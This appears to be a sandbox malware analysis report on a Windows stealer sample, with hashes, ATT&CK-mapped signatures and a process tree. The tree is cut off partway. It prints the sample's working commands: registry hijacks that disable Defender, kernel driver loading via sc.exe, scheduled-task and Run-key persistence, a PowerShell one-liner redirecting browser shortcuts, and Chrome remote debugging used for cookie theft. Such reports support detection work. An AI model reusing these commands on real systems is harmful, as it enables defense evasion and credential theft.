c70a4de0dfaa58278d48b476a620e848ee47185b5b9617acda9ace629da039b5

Analysis

max time kernel
53s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 16:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-29_ca6011629af1376881de0b0bb197d95f_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Size 14.1MB
Sample260930-t384vsxwdy
SHA256 c70a4de0dfaa58278d48b476a620e848ee47185b5b9617acda9ace629da039b5
MD5 ca6011629af1376881de0b0bb197d95f
SHA1 247c49b671ede6d76b2b03f8148bdf7a96461623
SHA512 a632d9e43034f7ed4f29292ad19ff1eb2c49ad381c6d693aa697185931c30dff8694c00160740a94b21279d0b1ab574a5c8b34a10d21228dae999b9202085285
SSDEEP 98304:UioQ1JqiT/PtcfJwBfNakKFTFB6fXjvZ2VQK1OxBsDQ6FE:Uir1TPtGJwBlaTT6PjZ2uKiR62
TLSH
T163E64A07E96581E8C4AAD134C6369213BB717C495B3423E33B90F7642F7ABD4AEB9344
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c5fd-48.dat	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC

Drops file in Drivers directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\kvckiller.sys	expand.exe
File opened for modification	C:\Windows\System32\drivers\{714D9443-BA7D-4F22-99F8-AAC1870EE240}	expand.exe
File opened for modification	C:\Windows\System32\drivers\kvckiller.sys	powershell.exe
File opened for modification	C:\Windows\System32\drivers\21306f6e70f94e19962f6ed4ce9c0dab$dpx$.tmp	expand.exe
File opened for modification	C:\Windows\System32\drivers\21306f6e70f94e19962f6ed4ce9c0dab$dpx$.tmp\job.xml	expand.exe
File created	C:\Windows\System32\drivers\21306f6e70f94e19962f6ed4ce9c0dab$dpx$.tmp\fbdee6a37fe1d741bbf5998b52e6780f.tmp	expand.exe

Uses browser remote debugging 2 TTPs 15 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
632	chrome.exe
4112	chrome.exe
2072	chrome.exe
5576	chrome.exe
3008	chrome.exe
4768	chrome.exe
5760	chrome.exe
336	chrome.exe
2740	chrome.exe
2520	chrome.exe
1104	chrome.exe
2644	chrome.exe
3256	chrome.exe
5752	chrome.exe
5780	chrome.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
5492	conhost.exe

Executes a file named after a Windows system binary 1 TTPs 1 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\conhost\conhost.exe	conhost.exe

Executes dropped EXE 2 IoCs

pid	Process
5492	conhost.exe
6088	conhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Users\\Admin\\AppData\\Local\\conhost\\conhost.exe\""	conhost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6120	powershell.exe
2532	powershell.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	expand.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	expand.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
6120	powershell.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2712	sc.exe
2524	sc.exe
1812	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	conhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	conhost.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3516	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
3880	reg.exe
3640	reg.exe
2000	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3384	schtasks.exe

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
2532	powershell.exe
2532	powershell.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
6120	powershell.exe
6120	powershell.exe
6120	powershell.exe
4768	chrome.exe
4768	chrome.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe
5492	conhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeRestorePrivilege	4688	reg.exe
Token: SeBackupPrivilege	3584	reg.exe
Token: SeRestorePrivilege	5792	reg.exe
Token: SeRestorePrivilege	4572	reg.exe
Token: SeRestorePrivilege	580	reg.exe
Token: SeDebugPrivilege	6120	powershell.exe
Token: SeShutdownPrivilege	4768	chrome.exe
Token: SeCreatePagefilePrivilege	4768	chrome.exe
Token: SeShutdownPrivilege	4768	chrome.exe
Token: SeCreatePagefilePrivilege	4768	chrome.exe
Token: SeShutdownPrivilege	4768	chrome.exe
Token: SeCreatePagefilePrivilege	4768	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
5492	conhost.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
5492	conhost.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe
4768	chrome.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2532	3068	2026-09-29_ca6011629af1376881de0b0bb197d95f_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	89
PID 2532 wrote to memory of 5508	2532	powershell.exe	91
PID 5508 wrote to memory of 1304	5508	csc.exe	92
PID 2532 wrote to memory of 3712	2532	powershell.exe	93
PID 2532 wrote to memory of 4688	2532	powershell.exe	94
PID 2532 wrote to memory of 3584	2532	powershell.exe	95
PID 2532 wrote to memory of 5792	2532	powershell.exe	96
PID 2532 wrote to memory of 3880	2532	powershell.exe	97
PID 2532 wrote to memory of 3640	2532	powershell.exe	98
PID 2532 wrote to memory of 2000	2532	powershell.exe	99
PID 2532 wrote to memory of 4572	2532	powershell.exe	100
PID 2532 wrote to memory of 580	2532	powershell.exe	101
PID 2532 wrote to memory of 1812	2532	powershell.exe	102
PID 2532 wrote to memory of 2712	2532	powershell.exe	103
PID 2532 wrote to memory of 2524	2532	powershell.exe	104
PID 3068 wrote to memory of 5492	3068	2026-09-29_ca6011629af1376881de0b0bb197d95f_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	106
PID 5492 wrote to memory of 3384	5492	conhost.exe	107
PID 5492 wrote to memory of 6120	5492	conhost.exe	113
PID 5492 wrote to memory of 4768	5492	conhost.exe	115
PID 4768 wrote to memory of 3220	4768	chrome.exe	116
PID 4768 wrote to memory of 4384	4768	chrome.exe	118
PID 4768 wrote to memory of 3516	4768	chrome.exe	119
PID 4768 wrote to memory of 4384	4768	chrome.exe	118
PID 4768 wrote to memory of 2072	4768	chrome.exe	120
PID 4768 wrote to memory of 2072	4768	chrome.exe	120
PID 4768 wrote to memory of 5760	4768	chrome.exe	121
PID 4768 wrote to memory of 5760	4768	chrome.exe	121
PID 4768 wrote to memory of 4580	4768	chrome.exe	122
PID 4768 wrote to memory of 4580	4768	chrome.exe	122
PID 4768 wrote to memory of 4112	4768	chrome.exe	123
PID 4768 wrote to memory of 4112	4768	chrome.exe	123
PID 4768 wrote to memory of 5576	4768	chrome.exe	124
PID 4768 wrote to memory of 5576	4768	chrome.exe	124
PID 4768 wrote to memory of 912	4768	chrome.exe	125
PID 4768 wrote to memory of 912	4768	chrome.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-29_ca6011629af1376881de0b0bb197d95f_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-29_ca6011629af1376881de0b0bb197d95f_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\Users\Admin\AppData\Local\Prosper\prepare.ps1' kill *> 'C:\ProgramData\prosper-prepare.log'"
  2⤵
  - Drops file in Drivers directory
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mvdgw4fi\mvdgw4fi.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5508
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6FA8.tmp" "c:\Users\Admin\AppData\Local\Temp\mvdgw4fi\CSCC782876C3C43426F8FBEACFB4D86FAB.TMP"
      4⤵
      PID:1304
- - C:\Windows\system32\expand.exe
    "C:\Windows\system32\expand.exe" C:\Users\Admin\AppData\Local\Temp\kk.cab -F:kvckiller.sys C:\Windows\System32\drivers\kvckiller.sys
    3⤵
    - Drops file in Drivers directory
    - Drops file in Windows directory
    PID:3712
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" unload HKLM\TempIFEO
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4688
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" save "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" C:\Users\Admin\AppData\Local\Temp\Ifeo.hiv /y
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3584
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" load HKLM\TempIFEO C:\Users\Admin\AppData\Local\Temp\Ifeo.hiv
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5792
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\TempIFEO\MsMpEng.exe /v Debugger /t REG_SZ /d systray.exe /f
    3⤵
    - Modifies registry key
    PID:3880
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\TempIFEO\SecurityHealthSystray.exe /v Debugger /t REG_SZ /d systray.exe /f
    3⤵
    - Modifies registry key
    PID:3640
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\TempIFEO\SecurityHealthService.exe /v Debugger /t REG_SZ /d systray.exe /f
    3⤵
    - Modifies registry key
    PID:2000
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" unload HKLM\TempIFEO
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4572
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" restore "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" C:\Users\Admin\AppData\Local\Temp\Ifeo.hiv /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:580
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" create wsftprm type= kernel start= demand error= normal binPath= C:\Windows\System32\drivers\kvckiller.sys DisplayName= wsftprm
    3⤵
    - Launches sc.exe
    PID:1812
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start wsftprm
    3⤵
    - Launches sc.exe
    PID:2712
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete wsftprm
    3⤵
    - Launches sc.exe
    PID:2524
- C:\Users\Admin\AppData\Local\conhost\conhost.exe
  C:\Users\Admin\AppData\Local\conhost\conhost.exe
  2⤵
  - Deletes itself
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Adds Run key to start application
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5492
- - C:\Windows\system32\schtasks.exe
    schtasks /create /sc onlogon /tn conhost /tr \"C:\Users\Admin\AppData\Local\conhost\conhost.exe\" /rl limited /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $dataDir = 'C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome'; $targets = @('chrome.exe','msedge.exe','brave.exe'); $roots = @([Environment]::GetFolderPath('Desktop'), ($env:USERPROFILE + '\Desktop'), ($env:PUBLIC + '\Desktop'), ($env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'), ($env:APPDATA + '\Microsoft\Windows\Start Menu\Programs\Startup'), ($env:APPDATA + '\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar'), ($env:ProgramData + '\Microsoft\Windows\Start Menu\Programs'), ($env:ProgramData + '\Microsoft\Windows\Start Menu\Programs\Startup')); $profileRoot = Join-Path $env:SystemDrive 'Users'; if (Test-Path -LiteralPath $profileRoot -ErrorAction SilentlyContinue) { $roots += @(Get-ChildItem -LiteralPath $profileRoot -Directory -ErrorAction SilentlyContinue | ForEach-Object { @((Join-Path $_.FullName 'Desktop'), (Join-Path $_.FullName 'AppData\Roaming\Microsoft\Windows\Start Menu\Programs'), (Join-Path $_.FullName 'AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'), (Join-Path $_.FullName 'AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar')) }); }; $roots = @($roots | Where-Object { -not [string]::IsNullOrWhiteSpace([string]$_) } | Select-Object -Unique); $shell = New-Object -ComObject WScript.Shell; $patched = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root -ErrorAction SilentlyContinue)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { $linkPath=$_.FullName; try { $lnk = $shell.CreateShortcut($linkPath); if (-not $lnk.TargetPath) { return }; $target = [IO.Path]::GetFileName($lnk.TargetPath).ToLowerInvariant(); if ($targets -notcontains $target) { return }; $arguments = ([string]$lnk.Arguments).Trim(); $arguments = [regex]::Replace($arguments, '(?i)(^|\s)--user-data-dir=(?:\"[^\"]*\"|\S+)(?=\s|$)', ' '); $arguments = [regex]::Replace($arguments, '(?i)(^|\s)--profile-directory=(?:\"[^\"]*\"|\S+)(?=\s|$)', ' '); $arguments = [regex]::Replace($arguments, '\s+', ' ').Trim(); $canonical = (($arguments, ('--user-data-dir=\"' + $dataDir + '\"')) -join ' ').Trim(); if ($canonical -eq ([string]$lnk.Arguments).Trim()) { return }; $lnk.Arguments = $canonical; $lnk.Save(); $patched += $linkPath } catch { } } }; $runPath='HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'; if (Test-Path -LiteralPath $runPath) { $run=Get-ItemProperty -LiteralPath $runPath; foreach ($property in $run.PSObject.Properties) { if ($property.Name -like 'PS*') { continue }; try { $value=[string]$property.Value; $match=[regex]::Match($value, '(?i)^\s*\"(?<exe>[^\"]+\.exe)\"(?<tail>.*)$'); if (-not $match.Success) { continue }; $target=[IO.Path]::GetFileName($match.Groups['exe'].Value).ToLowerInvariant(); if ($targets -notcontains $target) { continue }; $tail=$match.Groups['tail'].Value; $tail=[regex]::Replace($tail, '(?i)(^|\s)--user-data-dir=(?:\"[^\"]*\"|\S+)(?=\s|$)', ' '); $tail=[regex]::Replace($tail, '(?i)(^|\s)--profile-directory=(?:\"[^\"]*\"|\S+)(?=\s|$)', ' '); $tail=[regex]::Replace($tail, '\s+', ' ').Trim(); $newValue='\"' + $match.Groups['exe'].Value + '\" ' + $tail + ' --user-data-dir=\"' + $dataDir + '\"'; if ($newValue -eq $value) { continue }; Set-ItemProperty -LiteralPath $runPath -Name $property.Name -Value $newValue; $patched += ('HKCU Run\' + $property.Name) } catch { } } }; if ($patched.Count -gt 0) { Write-Output ($patched -join \"`n\") }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-debugging-address=127.0.0.1 --remote-allow-origins=* --no-first-run --no-default-browser-check --disable-infobars --disable-background-mode --restore-last-session --user-data-dir=C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4768
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0xa0,0x138,0x7ffd5698c728,0x7ffd5698c734,0x7ffd5698c740
      4⤵
      PID:3220
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1672,i,11893876783847221153,7245505821213720169,262144 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:2
      4⤵
      PID:4384
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1496,i,4220396939916346115,12146281562683065453,524288 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:11
      4⤵
      System Time Discovery
      PID:3516
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3548,i,10643938301599938709,1518700676048842089,2097152 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2072
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3552,i,11370882435611843307,6187902242772611813,2097152 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5760
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --force-high-res-timeticks=disabled --metrics-shmem-handle=2236,i,11122348721128709410,10551791393811342346,524288 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:13
      4⤵
      PID:4580
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4328,i,14236119448739134633,11100746665718539633,2097152 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=4372 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:4112
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4884,i,8294940152130231111,5733532624555189828,2097152 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=4928 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5576
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --force-high-res-timeticks=disabled --metrics-shmem-handle=5044,i,13248699323958760855,11129190629133305956,524288 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:14
      4⤵
      PID:912
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --force-high-res-timeticks=disabled --metrics-shmem-handle=5608,i,7629892665015096972,10635538882803092742,524288 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:14
      4⤵
      PID:4508
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5652,i,6677320269730355606,6046529775894311158,2097152 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:632
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Prosper\browser-profiles\chrome" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5664,i,8636304817525374816,4946172655254422604,2097152 --field-trial-handle=2100,i,16001271970427278810,17443310932567182430,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:336
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
